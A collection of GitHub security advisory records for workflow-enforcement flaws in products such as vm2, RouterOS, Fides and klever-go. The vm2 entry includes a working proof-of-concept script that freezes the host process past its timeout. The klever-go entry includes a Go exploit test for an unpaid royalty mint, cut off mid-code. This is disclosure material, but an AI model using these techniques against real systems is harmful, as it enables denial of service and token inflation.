CWE-841

{
  "affected": [],
  "aliases": [
    "CVE-2022-1667"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-841"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-06-24T15:15:00Z",
    "severity": "HIGH"
  },
  "details": "Client-side JavaScript controls may be bypassed by directly running a JS function to reboot the PLC (e.g., from the browser console) or by loading the corresponding, browser accessible PHP script",
  "id": "GHSA-mvc4-c2h4-573v",
  "modified": "2022-07-06T00:00:30Z",
  "published": "2022-06-25T00:00:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-1667"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/uscert/ics/advisories/icsa-22-174-03"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-79083"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-841"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-25T21:18:03Z",
    "severity": "HIGH"
  },
  "details": "Improper enforcement of behavioral workflow in Media in Google Chrome prior to 152.0.7977.65 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)",
  "id": "GHSA-mw59-gfc6-3gx2",
  "modified": "2026-08-26T18:31:41Z",
  "published": "2026-08-25T21:31:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-79083"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2026/08/stable-channel-update-for-desktop_0256176589.html"
    },
    {
      "type": "WEB",
      "url": "https://issues.chromium.org/issues/519984038"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-67279"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-841"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-05T20:17:18Z",
    "severity": "MODERATE"
  },
  "details": "RouterOS SSH enters the connection protocol after a client-requested rekey even though user authentication was never attempted, allowing an unauthenticated client to open a session channel and send an exec request. On affected builds the server dispatches the command, enabling unauthenticated creation, overwrite, and reconstruction of files in the RouterOS managed file namespace, including support files containing configuration and diagnostic data.This issue was fixed in versions:\u00a06.49.21 (Long-term),\u00a07.23.4 (Long-term)\u00a0and\u00a07.24.2 (Stable)",
  "id": "GHSA-pqp3-gjgf-83cf",
  "modified": "2026-09-25T18:31:17Z",
  "published": "2026-09-05T21:31:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67279"
    },
    {
      "type": "WEB",
      "url": "https://bishopfox.com/blog/mikrotrick-inside-the-routeros-takeover-chain"
    },
    {
      "type": "WEB",
      "url": "https://cert.pl/en/posts/2026/09/mikrotik-routeros-cve"
    },
    {
      "type": "WEB",
      "url": "https://cert.pl/en/posts/2026/09/vulnerabilities-in-mikrotik-routeros-actively-exploited"
    },
    {
      "type": "WEB",
      "url": "https://forum.mikrotik.com/t/6-49-21-long-term-is-released/272802"
    },
    {
      "type": "WEB",
      "url": "https://forum.mikrotik.com/t/7-23-4-long-term-is-released/272801"
    },
    {
      "type": "WEB",
      "url": "https://forum.mikrotik.com/t/7-24-2-stable-is-released/272800"
    },
    {
      "type": "WEB",
      "url": "https://mikrotik.com/supportsec/september-2026-vulnerability"
    },
    {
      "type": "WEB",
      "url": "https://npratley.net/reversing-mikrotiks-silent-patch-the-routeros-7-23-4-fix-they-wouldnt-explain"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-67279"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-65126"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-841"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-22T15:17:12Z",
    "severity": "MODERATE"
  },
  "details": "NVIDIA Infrastructure Controller for Linux contains a vulnerability where an attacker could cause improper enforcement of a behavioral workflow. A successful exploit of this vulnerability might lead to data tampering, denial of service, and information disclosure.",
  "id": "GHSA-qcj9-72c7-qh5m",
  "modified": "2026-09-22T15:32:39Z",
  "published": "2026-09-22T15:32:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65126"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NVIDIA/product-security/tree/main/2026/5879"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-65126"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-5921"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-841"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-11-22T09:15:07Z",
    "severity": "HIGH"
  },
  "details": "Improper Enforcement of Behavioral Workflow vulnerability in DECE Software Geodi allows Functionality Bypass.This issue affects Geodi: before 8.0.0.27396.",
  "id": "GHSA-qm72-9j6p-39q3",
  "modified": "2026-05-20T15:35:20Z",
  "published": "2023-11-22T09:31:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-5921"
    },
    {
      "type": "WEB",
      "url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-23-0650"
    },
    {
      "type": "WEB",
      "url": "https://www.usom.gov.tr/bildirim/tr-23-0650"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "ethyca-fides"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.75.0"
            },
            {
              "fixed": "2.83.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42303"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-288",
      "CWE-306",
      "CWE-841"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T21:11:37Z",
    "nvd_published_at": "2026-05-12T18:17:24Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nFides deployments that enable both subject identity verification and duplicate privacy request detection are affected by a vulnerability in which an administrator can approve a privacy request whose identity was never verified. For erasure policies, this can result in unauthorized deletion of a data subject\u0027s records across every integration configured in the affected deployment.\n\nA related lower-severity denial-of-service issue, in which an unauthenticated attacker could prevent a legitimate data subject from completing their own privacy requests, is also patched in the fix for this vulnerability.\n\n### Am I affected?\n\nThis vulnerability only affects deployments that use Fides\u0027s privacy request (data subject request) features, also known collectively as \"Lethe\". Deployments that do not submit, process, or manage privacy requests through Fides are not affected.\n\nWithin deployments that do use privacy request features, your deployment is affected if both of the following settings are effectively set to `true`:\n\n- `subject_identity_verification_required`\n- `privacy_request_duplicate_detection.enabled`\n\nBoth settings default to `false`.\n\nEach setting can be configured in multiple places. If the same setting is configured in more than one place, Fides resolves conflicts in the following precedence order, highest priority first:\n\n1. **Admin UI / configuration API** - stored in the application database and applied at runtime\n2. **Environment variables** - read at webserver startup\n3. **`fides.toml`** - read at webserver startup\n4. **Default value** - used if none of the above set the value\n\nTo determine whether your deployment is affected, check each setting in every location that applies to your configuration management.\n\n**`subject_identity_verification_required`**\n\n- `fides.toml`: under the `[execution]` section as `subject_identity_verification_required = true`\n- Environment variable: `FIDES__EXECUTION__SUBJECT_IDENTITY_VERIFICATION_REQUIRED=true`\n- No Admin UI control - this setting is not exposed through the Admin UI and cannot be set via the configuration API\n\n**`privacy_request_duplicate_detection.enabled`**\n\n- `fides.toml`: under the `[privacy_request_duplicate_detection]` section as `enabled = true`\n- Environment variable: `FIDES__PRIVACY_REQUEST_DUPLICATE_DETECTION__ENABLED=true`\n- Admin UI: **Settings \u2192 Privacy requests \u2192 Duplicate detection**, via the \"Enable duplicate detection\" toggle. The toggle reflects only values set through the Admin UI or configuration API. A value set via `fides.toml` or environment variable will not appear here.\n\n\u003cfigure\u003e\n\u003cimg width=\"1392\" height=\"940\" alt=\"GHSA - Duplicate Detection Enabled\" src=\"https://github.com/user-attachments/assets/e384f273-ce68-403c-adb2-93536eca5f3a\" /\u003e\n\u003cfigcaption\u003e\n\u003cem\u003e\nThe \"Enable duplicate detection\" toggle when it\u0027s enabled, under Settings \u2192 Privacy requests in the Admin UI.\n\u003c/em\u003e\n\u003c/figcaption\u003e\n\u003c/figure\u003e\n\n### Details\n\nWhen duplicate detection classifies a privacy request as a duplicate before its identity has been verified, the administrative interface presents that request with Approve, Deny, and Delete options. An administrator performing routine duplicate request triage may approve such a request without realising the identity was never verified. The request is then processed as if verification had succeeded.\n\nAn attacker exploits this by submitting two privacy requests using a target\u0027s email address, never completing the OTP verification. The second request is classified as a duplicate and becomes approvable through the administrative interface.\n\nThe fix for this vulnerability also patches a lower-severity issue, present in versions `2.82.0` through `2.83.1`, in which a legitimate data subject could not complete identity verification on a privacy request that had been classified as a duplicate, allowing an unauthenticated attacker to block that data subject from exercising their privacy rights through the affected deployment.\n\n### Impact\n\nAn unauthenticated attacker who knows a target\u0027s email address and can reach the public Privacy Center can cause an erasure privacy request to be approved by an administrator and processed without identity verification. The result is unauthorized deletion of the data subject\u0027s records across every integration configured in the affected deployment. Effects may be permanent and may cascade into downstream systems.\n\nAccess privacy requests are a less meaningful vector: the resulting access package is delivered to the data subject\u0027s registered email address, not to the attacker, so the attacker does not gain the data. The request still represents unauthorized processing.\n\n### Patches\n\nThe vulnerabilities have been patched in Fides OSS version `2.83.2`. Users are advised to upgrade to this version or later to secure their systems against these threats.\n\nFides Enterprise (fidesplus) version `2.83.2` contains the same patch.\n\n### Workarounds\n\nDisable duplicate detection by setting `privacy_request_duplicate_detection.enabled` to `false`. This can be changed under **Settings \u2192 Privacy Requests \u2192 Duplicate detection** in the Admin UI). This fully mitigates the vulnerability and is the recommended interim workaround for deployments that cannot immediately upgrade.\n\n\u003cfigure\u003e\n\u003cp\u003e\n\u003cimg width=\"1392\" height=\"880\" alt=\"GHSA - Disable Duplicate Detection\" src=\"https://github.com/user-attachments/assets/fc0c87a1-7e40-4698-ba9e-e1721f591310\" /\u003e\n\u003cfigcaption\u003e\n\u003cem\u003e\nThe \"Enable duplicate detection\" toggle when it\u0027s disabled, under Settings \u2192 Privacy requests in the Admin UI.\n\u003c/em\u003e\n\u003c/figcaption\u003e\n\u003cp\u003e\n\u003c/figure\u003e\n\nAdministrators of deployments that must retain duplicate detection should deny or delete, rather than approve, any privacy request whose identity has not been verified. This reduces the likelihood of exploitation but relies on administrator vigilance during each triage action.\n\n\u003cimg width=\"1392\" height=\"1044\" alt=\"GHSA - Admin Approval of Unverified Privacy Request\" src=\"https://github.com/user-attachments/assets/b2ad4940-40d3-468b-897e-8cca6ce4707e\" /\u003e\n\u003cfigcaption\u003e\n\u003cem\u003e\nAn administrator\u0027s view when approving an unverified privacy request in the Admin UI.\n\u003c/em\u003e\n\u003c/figcaption\u003e\n\u003c/figure\u003e\n\n### Severity\n\nThis vulnerability has been assigned a severity of **MEDIUM**.\n\nThe rating reflects the fact that exploitation requires an administrator to approve the malicious request. An attacker alone cannot cause a privacy request to be processed. The administrative interface understates the verification state of a duplicate-classified request, which increases the likelihood of inadvertent approval during routine triage, but without administrator user interaction the vulnerability is not exploitable.\n\nThe related denial-of-service issue addressed in the same patch is also rated medium-severity in isolation and does not raise the overall severity of this advisory.\n\n### References\n\n- Fides OSS `2.83.2` release: https://github.com/ethyca/fides/releases/tag/2.83.2\n- Fix for the identity bypass vulnerability: [PR #7972](https://github.com/ethyca/fides/pull/7972), commit [`e7a6527`](https://github.com/ethyca/fides/commit/e7a6527b0f9fdc9887b86a89bb5453e7421882dd)\n- Fix for the related denial-of-service issue: [PR #7971](https://github.com/ethyca/fides/pull/7971), commit [`0e320b2`](https://github.com/ethyca/fides/commit/0e320b20934eb5af3a3d5127dba2691605d7ff37)",
  "id": "GHSA-qx5f-ghc2-7g5c",
  "modified": "2026-05-13T16:26:42Z",
  "published": "2026-05-05T21:11:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ethyca/fides/security/advisories/GHSA-qx5f-ghc2-7g5c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42303"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ethyca/fides/pull/7971"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ethyca/fides/pull/7972"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ethyca/fides/commit/0e320b20934eb5af3a3d5127dba2691605d7ff37"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ethyca/fides/commit/e7a6527b0f9fdc9887b86a89bb5453e7421882dd"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ethyca/fides"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ethyca/fides/releases/tag/2.83.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:L/VA:N/SC:N/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Ethyca Fides has a Privacy Request Identity Verification Bypass Vulnerability via Duplicate Detection"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.11.6"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.11.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-92942"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-841"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-05T22:35:04Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Vulnerability Summary\n \nvm2\u0027s `VM({ timeout })` option is documented and relied upon as the mechanism that bounds how long sandboxed code may execute. In the current implementation, the timeout only wraps the single synchronous call to `VM#run()` (via `doWithTimeout` \u2192 `this._runScript(script)` in `lib/vm.js`). It does not, and structurally cannot, bound code that the V8 engine itself schedules to run *after* that call has already returned.\n \n`FinalizationRegistry` and `WeakRef` are exposed to sandboxed code completely unmodified \u2014 they are not present anywhere in `lib/setup-sandbox.js`\u0027s list of specially-wrapped/hardened globals (only `WeakMap`, `Promise`, `Proxy`, `Reflect`, etc. receive hardening there). Sandboxed code can register a `FinalizationRegistry` callback against an object it creates and immediately drops. `VM#run()` returns normally, well within the configured timeout, because registration is instant. At some later point \u2014 determined entirely by the V8 garbage collector, and forceable on demand by the host process (e.g. under memory pressure, or via `--expose-gc`) \u2014 the engine invokes the sandboxed cleanup callback directly. This invocation is **not** mediated by `doWithTimeout`, `Script.runInContext({timeout})`, or any other vm2 accounting mechanism, because it isn\u0027t a new call to `VM#run()` at all \u2014 it\u0027s the GC\u0027s own native callback-invocation path.\n\n## Affected Code \u0026 Version\n \n- **Repository:** `patriksimek/vm2`\n- **Version tested:** `3.11.6` (commit `a5b31cd9c01b37139aa9c71df1c691a6d1b440f9`, 2026-08-14) \u2014 the current `main` branch, i.e. this reproduces on the latest release, after all 2026 CVE-wave fixes (CVE-2026-22709, CVE-2026-26956, and the May 2026 13-advisory batch).\n- **`lib/vm.js`, `run()` (~line 501) and `doWithTimeout()` (~line 105):** the `timeout` option only wraps the single call to `this._runScript(script)`. No mechanism exists to bound execution triggered by engine-internal callbacks scheduled outside that call.\n- **`lib/setup-sandbox.js`, lines 1\u201314:** the module\u0027s captured/hardened globals list (`LocalWeakMap`, `LocalProxy`, `LocalError`, etc.) does not include `FinalizationRegistry` or `WeakRef`. Repo-wide `grep` for `FinalizationRegistry|WeakRef` returns zero matches in `lib/`, confirming neither receives any wrapping, restriction, or special handling \u2014 they are exposed to sandboxed code as bare, fully-functional constructors.\n## Steps to Reproduce\n \nEnvironment: Node.js v22.22.2, vm2 checked out at the commit above, dependencies installed with `npm install`.\n \n1. Clone and install:\n```\n   git clone https://github.com/patriksimek/vm2.git\n   cd vm2 \u0026\u0026 npm install\n```\n2. Save as `poc_timeout_bypass.js` in the repo root:\n```js\n   const { VM } = require(\u0027./lib/main.js\u0027);\n \n   const CONFIGURED_TIMEOUT_MS = 200;\n   const vm = new VM({ timeout: CONFIGURED_TIMEOUT_MS });\n \n   const t0 = Date.now();\n   let runError = null;\n   try {\n     vm.run(`\n       let target = {};\n       const registry = new FinalizationRegistry(() =\u003e {\n         const busyStart = Date.now();\n         while (Date.now() - busyStart \u003c 3000) { /* burn CPU, block event loop */ }\n       });\n       registry.register(target, \u0027held-value\u0027);\n       target = null; // drop only strong reference -\u003e GC-eligible\n     `);\n   } catch (e) { runError = e.message; }\n   const t1 = Date.now();\n   console.log(\u0027vm.run() returned after\u0027, t1 - t0, \u0027ms. Threw:\u0027, runError);\n \n   if (!global.gc) { console.log(\u0027Re-run with --expose-gc\u0027); process.exit(1); }\n   global.gc(); global.gc();\n \n   const timerScheduledAt = Date.now();\n   setTimeout(() =\u003e {\n     const delay = Date.now() - timerScheduledAt;\n     console.log(\u0027Host setTimeout(10ms) actually fired after\u0027, delay, \u0027ms\u0027);\n     console.log(\u0027Total wall time since vm.run() returned:\u0027, Date.now() - t1, \u0027ms\u0027);\n   }, 10);\n```\n3. Run: `node --expose-gc poc_timeout_bypass.js`\n4. **Observed output:**\n```\n   vm.run() returned after 2 ms. Threw: null\n   Host setTimeout(10ms) actually fired after 3000 ms\n   Total wall time since vm.run() returned: 3029 ms\n```\n5. **Interpretation:** `run()` returned in 2ms, well inside the configured 200ms timeout \u2014 vm2 believes execution completed safely. A host-side timer scheduled for 10ms did not fire until ~3000ms later, proving the entire Node.js event loop \u2014 not just the sandbox \u2014 was blocked by sandboxed code running 15x longer than the configured timeout, entirely after `run()` had returned and outside any timeout enforcement.\n6. `typeof FinalizationRegistry` and `typeof WeakRef` inside a fresh `VM()` both evaluate to `\"function\"` with no wrapping, confirming the surface is reachable by design, not by an incidental leak.\n## Fix Recommendation\n \nPick one or combine:\n \n1. **Remove `FinalizationRegistry` and `WeakRef` from the sandbox global scope by default.** These are rarely needed by untrusted scripts and their GC-driven, engine-scheduled invocation model is fundamentally incompatible with a wall-clock `timeout` promise. Delete them from the context in `lib/setup-sandbox.js` alongside the other hardening done there, mirroring how other dangerous globals are handled.\n2. **If they must remain available**, wrap `FinalizationRegistry`\u0027s constructor so the callback the sandbox supplies is itself invoked through a host-side dispatcher that re-applies a fresh per-invocation timeout (e.g. via `Script.runInContext` with `timeout` again, or by tracking cumulative CPU time via `process.hrtime`/`Isolate::TerminateExecution` if this is ever ported to a true isolate model). A callback that exceeds its budget should be forcibly terminated the same way an over-budget `run()` call is today.\n3. **Document the gap explicitly** if neither is implemented immediately: the current README/docs describe `timeout` as bounding sandboxed execution without qualification. At minimum, callers should be warned that GC-triggered callbacks (`FinalizationRegistry`) are exempt.\n\n\nany application that runs untrusted code through vm2 with a `timeout` expecting it to bound total CPU time can be denied service indefinitely. A single-line sandboxed script (`registry.register(target, x)` then drop the reference) can queue an unbounded busy-loop that fires at an unpredictable future moment and freezes the entire host Node.js process (single-threaded event loop) for as long as the attacker\u0027s loop runs \u2014 with no relationship at all to the configured `timeout` value. Because the freeze happens asynchronously and disconnected from the triggering `run()` call, it also undermines incident response: by the time the hang is observed, the `run()` call that caused it may be long gone from logs/traces.\n \nThis is a **timeout-enforcement bypass / uncontrolled resource consumption** issue, not (as currently demonstrated) a proxy/realm escape to host object access \u2014 sandboxed code stays within its own realm. See \"What this report does not claim\" below.",
  "id": "GHSA-r4fx-v8hh-22mv",
  "modified": "2026-10-05T22:35:04Z",
  "published": "2026-10-05T22:35:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-r4fx-v8hh-22mv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-92942"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/commit/fe2fcca2a1e693548993eccc624489dc4cb586b4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.7"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/vm2-before-3.11.7-timeout-bypass-via-finalizationregistry"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vm2: timeout Option Bypass via FinalizationRegistry Cleanup Callback (Unbounded Host Event-Loop Block)"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.7.19-rc2"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/klever-io/klever-go"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.7.19-rc4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55763"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-841"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T20:27:44Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\nIn `processPercentageRoyaltiesTransfer` the royalty pool is collected from the sender by `SubFromBalance` that is\nordered **after** the split loop and after `if royaltiesToPay \u003c= 0 { return Ok }`. The split-payout guard rejects\nonly an allocation that *exceeds* the pool (a strict `splitToPay \u003e royaltiesToPay`), so a split entry of **exactly\n100%** (`PercentTransferPercentage = 10000`) is a *valid* config: it drives `royaltiesToPay` to 0 and hits the\nearly-return **before** the sender is debited. The split recipient keeps the full royalty; the sender pays nothing\nfor it \u2192 mint. The sibling fixed-royalty path (`processFixedRoyaltiesTransfer`) debits the sender **first** and is\nsafe. Only the percentage-transfer path collects and distributes in the same function with the collect placed after\nthe early-return.\n\n## Affected code\n- `core/kapp/accounts/accounts.go` \u2014 `processPercentageRoyaltiesTransfer`: split loop \u2192 `if royaltiesToPay \u003c= 0\n  { return Ok }` \u2192 `acntSrc.SubFromBalance(royaltyAmount)` (debit after the early-return). Contrast the safe\n  `processFixedRoyaltiesTransfer` (debit before the loop).\n\n## Impact\nUnbounded self-inflation of the transferred KDA: `royaltyAmount = transferValue \u00d7 rate` is minted to an\nowner-controlled split address on every transfer of the asset, with no source debit and no supply-counter update\n(off-the-books).\n\n## Reachability\nOwner-gated to configure (own KDA with a `TransferPercentage` royalty + a 100% split). Once configured, the mint\nfires on **any** holder\u0027s transfer of the asset \u2014 not just the owner\u0027s.\n\n## Proof of concept\n\n### Unit test\n`TestExploit_PercentRoyaltyZeroDebit` drives the real `processPercentageRoyaltiesTransfer` with all relevant forks\nON (`KdaFpr`, `EnableSmartContracts`, `FixMarketBuyOverflow`). With a single 100% split the recipient is credited\nthe full royalty (`40`) while the sender\u0027s `SubFromBalance` is called **0 times** (mint = 40); the 50% control case\ndoes not early-return, the sender is debited, and value conserves.\n\n\u003cdetails\u003e\u003csummary\u003eFull Go PoC (\u003ccode\u003ecore/kapp/accounts\u003c/code\u003e package, passes = mint confirmed)\u003c/summary\u003e\n\n```go\npackage accounts\n\nimport (\n\t\"bytes\"\n\t\"encoding/hex\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n\n\tcommonMock \"github.com/klever-io/klever-go/common/mock\"\n\t\"github.com/klever-io/klever-go/core\"\n\t\"github.com/klever-io/klever-go/core/kapp\"\n\t\"github.com/klever-io/klever-go/data/block\"\n\t\"github.com/klever-io/klever-go/data/state\"\n\t\"github.com/klever-io/klever-go/data/transaction\"\n\tintegrationMock \"github.com/klever-io/klever-go/integrationTest/mock\"\n\t\"github.com/klever-io/klever-go/kapps\"\n\tkvmStub \"github.com/klever-io/klever-go/kvm/mock/stub\"\n)\n\n// TestExploit_PercentRoyaltyZeroDebit proves the zero-debit mint:\n// processPercentageRoyaltiesTransfer credits the split recipient\n// inside the loop, then hits `if royaltiesToPay \u003c= 0 { return Ok }` BEFORE the\n// sender\u0027s `acntSrc.SubFromBalance(royaltyAmount, ...)`. A single VALID split\n// entry of exactly 100% (PercentTransferPercentage = 10000) drives royaltiesToPay\n// to 0 and skips the debit =\u003e the recipient keeps royaltyAmount, the sender pays\n// nothing =\u003e mint. The sibling fixed path debits FIRST, so the 50% contrast case\n// (which does NOT early-return) confirms the debit fires and value is conserved.\nfunc TestExploit_PercentRoyaltyZeroDebit(t *testing.T) {\n\tconst (\n\t\tassetIDStr     = \"FUNGI-1234\"\n\t\ttransferValue  = int64(800)\n\t\troyaltyRatePct = uint32(500) // 5%\n\t\troyaltyAmount  = int64(40)   // 800 * 5% = 40\n\t)\n\n\tassetID := []byte(assetIDStr)\n\n\t// 32-byte, non-zero-prefixed =\u003e not a smart-contract address, so the royalty\n\t// path is not short-circuited by core.IsSmartContractAddress.\n\tsenderAddr := bytes.Repeat([]byte{0x11}, 32)\n\t// Split recipient address must be a valid hex string (computeSplitRoyalties\n\t// hex-decodes the map key).\n\trecipientAddr := bytes.Repeat([]byte{0x22}, 32)\n\trecipientKey := hex.EncodeToString(recipientAddr)\n\troyaltyReceiverAddr := bytes.Repeat([]byte{0x33}, 32)\n\n\tbuildKDA := func(splitPercent uint32) *kapps.KDAData {\n\t\treturn \u0026kapps.KDAData{\n\t\t\tAssetType:    kapps.KDAData_Fungible,\n\t\t\tOwnerAddress: senderAddr,\n\t\t\tRoyalties: \u0026kapps.RoyaltiesData{\n\t\t\t\tAddress: royaltyReceiverAddr,\n\t\t\t\tTransferPercentage: []*kapps.RoyaltyData{\n\t\t\t\t\t{Amount: 1000, Percentage: royaltyRatePct},\n\t\t\t\t},\n\t\t\t\tSplitRoyalties: map[string]*kapps.RoyaltySplitData{\n\t\t\t\t\trecipientKey: {PercentTransferPercentage: splitPercent},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\t}\n\n\ttype runResult struct {\n\t\tsubFromCalls    int\n\t\tsubFromAmount   int64\n\t\taddToRecipient  int64\n\t\taddToOwnerRem   int64\n\t\tresCode         transaction.Transaction_TXResultCode\n\t\terr             error\n\t}\n\n\trun := func(t *testing.T, splitPercent uint32) runResult {\n\t\tt.Helper()\n\n\t\tres := runResult{}\n\n\t\t// Sender: track whether/what the royalty debit hits. Holds plenty of the asset.\n\t\tacntSrc := \u0026commonMock.UserAccountHandlerStub{\n\t\t\tAddressBytesCalled: func() []byte { return senderAddr },\n\t\t\tGetBalanceCalled:   func(_ []byte, _ bool) int64 { return 1_000_000 },\n\t\t\tSubFromBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error {\n\t\t\t\tres.subFromCalls++\n\t\t\t\tres.subFromAmount += value\n\t\t\t\treturn nil\n\t\t\t},\n\t\t}\n\n\t\t// Destination is irrelevant to the royalty pool accounting here.\n\t\tacntDst := \u0026commonMock.UserAccountHandlerStub{\n\t\t\tAddressBytesCalled: func() []byte { return royaltyReceiverAddr },\n\t\t}\n\n\t\t// Split recipient: capture the credit it receives.\n\t\tsplitRecipient := \u0026commonMock.UserAccountHandlerStub{\n\t\t\tAddressBytesCalled: func() []byte { return recipientAddr },\n\t\t\tAddToBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error {\n\t\t\t\tres.addToRecipient += value\n\t\t\t\treturn nil\n\t\t\t},\n\t\t}\n\n\t\t// Owner-remainder receiver (only credited when the path does NOT early-return).\n\t\troyaltyReceiver := \u0026commonMock.UserAccountHandlerStub{\n\t\t\tAddressBytesCalled: func() []byte { return royaltyReceiverAddr },\n\t\t\tAddToBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error {\n\t\t\t\tres.addToOwnerRem += value\n\t\t\t\treturn nil\n\t\t\t},\n\t\t}\n\n\t\tcacher := \u0026commonMock.AccountsCacherStub{\n\t\t\tLoadUserCalled: func(address []byte) (state.UserAccountHandler, error) {\n\t\t\t\tif bytes.Equal(address, recipientAddr) {\n\t\t\t\t\treturn splitRecipient, nil\n\t\t\t\t}\n\t\t\t\tif bytes.Equal(address, royaltyReceiverAddr) {\n\t\t\t\t\treturn royaltyReceiver, nil\n\t\t\t\t}\n\t\t\t\treturn 